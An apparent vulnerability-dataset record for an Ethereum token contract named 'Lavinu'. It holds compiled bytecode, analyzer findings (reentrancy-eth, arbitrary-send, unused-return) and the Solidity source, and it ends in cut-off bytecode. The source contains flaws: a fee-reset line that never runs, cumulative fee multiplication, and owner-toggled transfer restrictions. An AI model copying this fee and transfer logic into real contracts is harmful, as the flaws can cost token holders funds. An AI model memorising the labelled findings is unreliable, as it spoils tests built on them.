fffffffffff1614155b80156117345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177a611292565b73ffffffffffffffffffffffffffffffffffffffff1614806117f05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d8611292565b73ffffffffffffffffffffffffffffffffffffffff16145b61182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613051565b60405180910390fd5b5b5b60105481111561184057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ed57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119985750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ee5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a065750600f60179054906101000a900460ff165b15611aa75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5657600080fd5b603c42611a6391906131a7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab230610783565b9050600f60159054906101000a900460ff16158015611b1f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b375750600f60169054906101000a900460ff165b15611b5f57611b4581611df1565b60004790506000811115611b5d57611b5c47611c88565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c085750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1257600090505b611c1e848484846121b0565b50505050565b6000838311158290611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639190612ecf565b60405180910390fd5b5060008385611c7b9190613288565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd860028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d03573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5460028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d7f573d6000803e3d6000fd5b5050565b6000600654821115611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190612f11565b60405180910390fd5b6000611dd46121dd565b9050611de9818461216690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e7d5781602001602082028036833780820191505090505b5090503081600081518110611ebb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5d57600080fd5b505afa158015611f71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f95919061293e565b81600181518110611fcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a95949392919061308c565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120fe5760009050612160565b6000828461210c919061322e565b905082848261211b91906131fd565b1461215b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215290612f91565b60405180910390fd5b809150505b92915050565b60006121a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612208565b905092915050565b806121be576121bd61226b565b5b6121c984848461229c565b806121d7576121d6612467565b5b50505050565b60008060006121ea612479565b91509150612201818361216690919063ffffffff16565b9250505090565b6000808311829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612ecf565b60405180910390fd5b506000838561225e91906131fd565b9050809150509392505050565b600060085414801561227f57506000600954145b156122895761229a565b600060088190555060006009819055505b565b6000806000806000806122ae876124db565b95509550955095509550955061230c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ed816125eb565b6123f784836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124549190613071565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124af683635c9adc5dea0000060065461216690919063ffffffff16565b8210156124ce57600654683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a6008546009546126e2565b92509250925060006125086121dd565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c24565b905092915050565b600080828461259c91906131a7565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612f51565b60405180910390fd5b8091505092915050565b60006125f56121dd565b9050600061260c82846120eb90919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260065461254390919063ffffffff16565b6006819055506126d88160075461258d90919063ffffffff16565b6007819055505050565b60008060008061270e6064612700888a6120eb90919063ffffffff16565b61216690919063ffffffff16565b90506000612738606461272a888b6120eb90919063ffffffff16565b61216690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279185896120eb90919063ffffffff16565b905060006127a886896120eb90919063ffffffff16565b905060006127bf87896120eb90919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281461280f84613126565b613101565b9050808382526020820190508285602086028201111561283357600080fd5b60005b858110156128635781612849888261286d565b845260208401935060208301925050600181019050612836565b5050509392505050565b60008135905061287c81613764565b92915050565b60008151905061289181613764565b92915050565b600082601f8301126128a857600080fd5b81356128b8848260208601612801565b91505092915050565b6000813590506128d08161377b565b92915050565b6000815190506128e58161377b565b92915050565b6000813590506128fa81613792565b92915050565b60008151905061290f81613792565b92915050565b60006020828403121561292757600080fd5b60006129358482850161286d565b91505092915050565b60006020828403121561295057600080fd5b600061295e84828501612882565b91505092915050565b6000806040838503121561297a57600080fd5b60006129888582860161286d565b92505060206129998582860161286d565b9150509250929050565b6000806000606084860312156129b857600080fd5b60006129c68682870161286d565b93505060206129d78682870161286d565b92505060406129e8868287016128eb565b9150509250925092565b60008060408385031215612a0557600080fd5b6000612a138582860161286d565b9250506020612a24858286016128eb565b9150509250929050565b600060208284031215612a4057600080fd5b600082013567ffffffffffffffff811115612a5a57600080fd5b612a6684828501612897565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016128c1565b91505092915050565b600060208284031215612aaa57600080fd5b6000612ab8848285016128d6565b91505092915050565b600060208284031215612ad357600080fd5b6000612ae1848285016128eb565b91505092915050565b600080600060608486031215612aff57600080fd5b6000612b0d86828701612900565b9350506020612b1e86828701612900565b9250506040612b2f86828701612900565b9150509250925092565b6000612b458383612b51565b60208301905092915050565b612b5a816132bc565b82525050565b612b69816132bc565b82525050565b6000612b7a82613162565b612b848185613185565b9350612b8f83613152565b8060005b83811015612bc0578151612ba78882612b39565b9750612bb283613178565b925050600181019050612b93565b5085935050505092915050565b612bd6816132ce565b82525050565b612be581613311565b82525050565b6000612bf68261316d565b612c008185613196565b9350612c10818560208601613323565b612c198161345d565b840191505092915050565b6000612c31602383613196565b9150612c3c8261346e565b604082019050919050565b6000612c54602a83613196565b9150612c5f826134bd565b604082019050919050565b6000612c77602283613196565b9150612c828261350c565b604082019050919050565b6000612c9a601b83613196565b9150612ca58261355b565b602082019050919050565b6000612cbd601d83613196565b9150612cc882613584565b602082019050919050565b6000612ce0602183613196565b9150612ceb826135ad565b604082019050919050565b6000612d03602083613196565b9150612d0e826135fc565b602082019050919050565b6000612d26602983613196565b9150612d3182613625565b604082019050919050565b6000612d49602583613196565b9150612d5482613674565b604082019050919050565b6000612d6c602483613196565b9150612d77826136c3565b604082019050919050565b6000612d8f601783613196565b9150612d9a82613712565b602082019050919050565b6000612db2601183613196565b9150612dbd8261373b565b602082019050919050565b612dd1816132fa565b82525050565b612de081613304565b82525050565b6000602082019050612dfb6000830184612b60565b92915050565b6000604082019050612e166000830185612b60565b612e236020830184612b60565b9392505050565b6000604082019050612e3f6000830185612b60565b612e4c6020830184612dc8565b9392505050565b600060c082019050612e686000830189612b60565b612e756020830188612dc8565b612e826040830187612bdc565b612e8f6060830186612bdc565b612e9c6080830185612b60565b612ea960a0830184612dc8565b979650505050505050565b6000602082019050612ec96000830184612bcd565b92915050565b60006020820190508181036000830152612ee98184612beb565b905092915050565b60006020820190508181036000830152612f0a81612c24565b9050919050565b60006020820190508181036000830152612f2a81612c47565b9050919050565b60006020820190508181036000830152612f4a81612c6a565b9050919050565b60006020820190508181036000830152612f6a81612c8d565b9050919050565b60006020820190508181036000830152612f8a81612cb0565b9050919050565b60006020820190508181036000830152612faa81612cd3565b9050919050565b60006020820190508181036000830152612fca81612cf6565b9050919050565b60006020820190508181036000830152612fea81612d19565b9050919050565b6000602082019050818103600083015261300a81612d3c565b9050919050565b6000602082019050818103600083015261302a81612d5f565b9050919050565b6000602082019050818103600083015261304a81612d82565b9050919050565b6000602082019050818103600083015261306a81612da5565b9050919050565b60006020820190506130866000830184612dc8565b92915050565b600060a0820190506130a16000830188612dc8565b6130ae6020830187612bdc565b81810360408301526130c08186612b6f565b90506130cf6060830185612b60565b6130dc6080830184612dc8565b9695505050505050565b60006020820190506130fb6000830184612dd7565b92915050565b600061310b61311c565b90506131178282613356565b919050565b6000604051905090565b600067ffffffffffffffff8211156131415761314061342e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b2826132fa565b91506131bd836132fa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f2576131f16133d0565b5b828201905092915050565b6000613208826132fa565b9150613213836132fa565b925082613223576132226133ff565b5b828204905092915050565b6000613239826132fa565b9150613244836132fa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327d5761327c6133d0565b5b828202905092915050565b6000613293826132fa565b915061329e836132fa565b9250828210156132b1576132b06133d0565b5b828203905092915050565b60006132c7826132da565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061331c826132fa565b9050919050565b60005b83811015613341578082015181840152602081019050613326565b83811115613350576000848401525b50505050565b61335f8261345d565b810181811067ffffffffffffffff8211171561337e5761337d61342e565b5b80604052505050565b6000613392826132fa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c5576133c46133d0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376d816132bc565b811461377857600080fd5b50565b613784816132ce565b811461378f57600080fd5b50565b61379b816132fa565b81146137a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eaeefd1e67decbfa0809b6955b4df666ae643b061f8f6ec69d2112c49b83c32664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,089 |
0xd1496c9165732612071655b18441b4c7554641d7
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
A Generic redistribution token... Really this is just a test for my first token creation :)
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
2. Developer provides LP
3. Fair launch for everyone!
4. 0,2% transaction limit on launch
5. Buy limit lifted after launch
6. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
7. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
8. 2% redistribution to holders on all buys
9. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
10. Redistribution actually works!
11. No Team Fees!
"SPDX-License-Identifier: None"
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Lavinu is Context, Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = unicode"Lavinu";
string private constant _symbol = "Lavinu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0) return;
_taxFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf914610267578063d543dbeb1461027c578063dd62ed3e1461029c578063e8078d94146102e257600080fd5b8063715018a61461020a5780638da5cb5b1461021f57806395d89b41146100f8578063a9059cbb1461024757600080fd5b806323b872dd116100c657806323b872dd1461018c578063313ce567146101ac5780635932ead1146101c857806370a08231146101ea57600080fd5b806306fdde03146100f8578063095ea7b31461013657806318160ddd1461016657600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201825260068152654c6176696e7560d01b6020820152905161012d9190611895565b60405180910390f35b34801561014257600080fd5b506101566101513660046117ed565b6102f7565b604051901515815260200161012d565b34801561017257600080fd5b50683635c9adc5dea000005b60405190815260200161012d565b34801561019857600080fd5b506101566101a73660046117ad565b61030e565b3480156101b857600080fd5b506040516009815260200161012d565b3480156101d457600080fd5b506101e86101e3366004611818565b610377565b005b3480156101f657600080fd5b5061017e61020536600461173d565b6103c8565b34801561021657600080fd5b506101e86103ea565b34801561022b57600080fd5b506000546040516001600160a01b03909116815260200161012d565b34801561025357600080fd5b506101566102623660046117ed565b61045e565b34801561027357600080fd5b506101e861046b565b34801561028857600080fd5b506101e8610297366004611850565b6104c0565b3480156102a857600080fd5b5061017e6102b7366004611775565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102ee57600080fd5b506101e8610593565b6000610304338484610900565b5060015b92915050565b600061031b848484610a24565b61036d843361036885604051806060016040528060288152602001611a53602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906110d5565b610900565b5060019392505050565b6000546001600160a01b031633146103aa5760405162461bcd60e51b81526004016103a1906118e8565b60405180910390fd5b600e8054911515600160c01b0260ff60c01b19909216919091179055565b6001600160a01b0381166000908152600260205260408120546103089061110f565b6000546001600160a01b031633146104145760405162461bcd60e51b81526004016103a1906118e8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610304338484610a24565b6000546001600160a01b031633146104955760405162461bcd60e51b81526004016103a1906118e8565b600e54600160a81b900460ff166104ab57600080fd5b600e805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146104ea5760405162461bcd60e51b81526004016103a1906118e8565b6000811161053a5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103a1565b6105586064610552683635c9adc5dea0000084611193565b90611212565b600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146105bd5760405162461bcd60e51b81526004016103a1906118e8565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fa3082683635c9adc5dea00000610900565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561063357600080fd5b505afa158015610647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066b9190611759565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b357600080fd5b505afa1580156106c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106eb9190611759565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561073357600080fd5b505af1158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b9190611759565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d719473061079b816103c8565b6000806107b06000546001600160a01b031690565b60405160e088901b6001600160e01